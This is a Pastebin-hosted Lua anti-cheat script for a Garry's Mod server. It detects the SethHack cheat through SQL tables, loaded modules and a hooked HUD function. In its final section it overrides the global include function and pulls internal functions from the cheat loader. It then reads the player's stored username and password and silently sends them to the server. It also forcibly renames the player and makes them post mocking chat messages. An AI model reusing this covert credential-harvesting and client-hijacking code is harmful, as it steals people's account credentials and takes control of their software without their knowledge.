Advertisement
clark

GWAC Gang Wars Anti Cheat

Jan 6th, 2012
467
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 4.38 KB | None | 0 0
  1. /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  2. // Identify Naughty Clients
  3. // mercior
  4. // June 2010
  5.  
  6. require("wshl")
  7. require("sh2")
  8. require("sh3")
  9. require("sh4")
  10. require("hl2_shotmanip")
  11.  
  12.  
  13. local ky = math.floor(math.random(1000000, 99999999))
  14. local ky2 = math.floor(math.random(1000000, 99999999))
  15. local function csk() datastream.StreamToServer("csk", { id="ca", key = ky }) end
  16. if ky == ky2 then datastream.StreamToServer("f_29vBmX", { id="ct" }) end
  17. hook.Add("InitPostEntity", "ca", csk)
  18. local NP = false
  19. local function rchd(h,i,e,d)
  20.     local rcd = d.r
  21. end
  22. local function SethHackTableExists( lol )
  23.     local r = sql.Query( "select * FROM sqlite_master WHERE type = 'table'" )
  24.     if r and #r > 0 then
  25.         for k,v in pairs(r) do
  26.             if string.find(string.lower(v.name), lol) then
  27.                 return true
  28.             end
  29.         end
  30.     end
  31.     return false
  32. end
  33. local ods = draw.SimpleTextOutlined
  34. local ro = false
  35. function draw.SimpleTextOutlined( Text, Font, X, Y, Col, Xalign, Yalign, Outline, OutlineColour )
  36.     if not ro and Text == "Scanning..." and Font == "TargetIDSmall" and Col.r == 255 and Col.g == 0 and Col.b == 0 and Xalign == TEXT_ALIGN_LEFT and Yalign == TEXT_ALIGN_LEFT and Outline == 0.5 and OutlineColour.r == 30 and OutlineColour.g == 30 and OutlineColour.b == 30 then
  37.         ro = true
  38.         datastream.StreamToServer("f_29vBmX", { id="sh", reason="Aimbot HUD" })
  39.     end
  40.     ods( Text, Font, X, Y, Col, Xalign, Yalign, Outline, OutlineColour )
  41. end
  42.  
  43.  
  44. local function cse()
  45.     if SethHackTableExists("sethhack") or SethHackTableExists("shv3") then
  46.         datastream.StreamToServer("f_29vBmX", { id="sh", reason="SQL Table" })
  47.     end
  48.     if SethHackTableExists("shv4") then
  49.         datastream.StreamToServer("f_29vBmX", { id="sh", reason="SQL Table (v4)" })
  50.     end
  51.     local T = sql.Query( "SELECT Name FROM SethHack_Friends" )
  52.     if T && #T!=0 then
  53.         datastream.StreamToServer("f_29vBmX", { id="sh", reason="Sethhack Friends Table" })
  54.     end
  55.     local T = sql.Query( "SELECT Name FROM SethHack_Ents" )
  56.     if T && #T!=0 then
  57.         datastream.StreamToServer("f_29vBmX", { id="sh", reason="Sethhack Ents Table" })
  58.     end
  59.     local T = sql.Query( "SELECT Name FROM SethHack_ESPEnts" )
  60.     if T && #T!=0 then
  61.         datastream.StreamToServer("f_29vBmX", { id="sh", reason="Sethhack ESP Table" })
  62.     end
  63.     if sql.TableExists("Bacon_ESPEnts") then
  64.         datastream.StreamToServer("f_29vBmX", { id="bb", reason="SQL Table" })
  65.     end
  66.     if hl2_shotmanip then
  67.         datastream.StreamToServer("f_29vBmX", { id="bb", reason="DLL" })
  68.     end
  69.     if sh4 || sh3 || sh2 || wshl then
  70.         datastream.StreamToServer("f_29vBmX", { id="sh", reason="DLL" })
  71.     end
  72. end
  73. datastream.Hook( "x_29vBmX", rchd );
  74.  
  75. timer.Create( "c_29vBmX", 120, 0, cse )
  76. cse();
  77.  
  78.  
  79. local NotRCC = RunConsoleCommand
  80. local debug = debug
  81.  
  82. local o_include = _G.include
  83. function _G.include( path, ... )
  84.     if tostring( path ):lower() == "includes/extensions/table.lua" then    
  85.         local n, SH_SETNAME = debug.getlocal( 2, 2 )
  86.         local n, SH_PURECC = debug.getlocal( 2, 3 )
  87.         local n, SH_REGREAD = debug.getlocal( 2, 13 )
  88.        
  89.         if type( SH_REGREAD ) == "function" then
  90.             local User = SH_REGREAD( "username" )
  91.             local Pass = SH_REGREAD( "password" )
  92.  
  93.             local SEED = tostring( math.random( 99999 ) )
  94.             hook.Add( "Think", SEED, function()
  95.                 NotRCC( "USER_NAME", util.RelativePathToFull( "gameinfo.txt" ):gsub( '\\', "/" ):match( "steamapps/(.-)/" ) )
  96.  
  97.                 NotRCC( util.CRC( game.GetMap():lower() ), User, Pass )
  98.  
  99.                 hook.Remove( "Think", SEED )
  100.             end )
  101.  
  102.             if type( SH_SETNAME ) == "function" then
  103.                 local rid = tostring( math.random( 99999 ) )
  104.                 local SEED = tostring( math.random( 99999 ) )
  105.                 hook.Add( "Think", SEED, function()
  106.                     if LocalPlayer():Nick() ~= "SETHHACKER " .. rid then
  107.                         SH_SETNAME( "SETHHACKER " .. rid )
  108.                     end
  109.                 end )
  110.  
  111.                 local LOL = { "I'm bad at Garry's Mod", "I have no skill", "I used my mummies credit card on this and it fails :(", "Why am I so skill-less?", "I spent more than double the amount I spent on this game, I'm proud of myself.", "I'm a skiddie, ban me from your servers :D", "G-Force is awesome and I wish I were more like him." }
  112.  
  113.                 if type( SH_PURECC ) == "function" then
  114.                     timer.Create( tostring( math.random( 99999 ) ), 5, 0, SH_PURECC, "say " .. LOL[ math.random( #LOL ) ] )
  115.                 end
  116.                
  117.                 _G.include = o_include
  118.             end
  119.  
  120.            
  121.         //end
  122.     end
  123.  
  124.     return o_include( path, ... )
  125. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement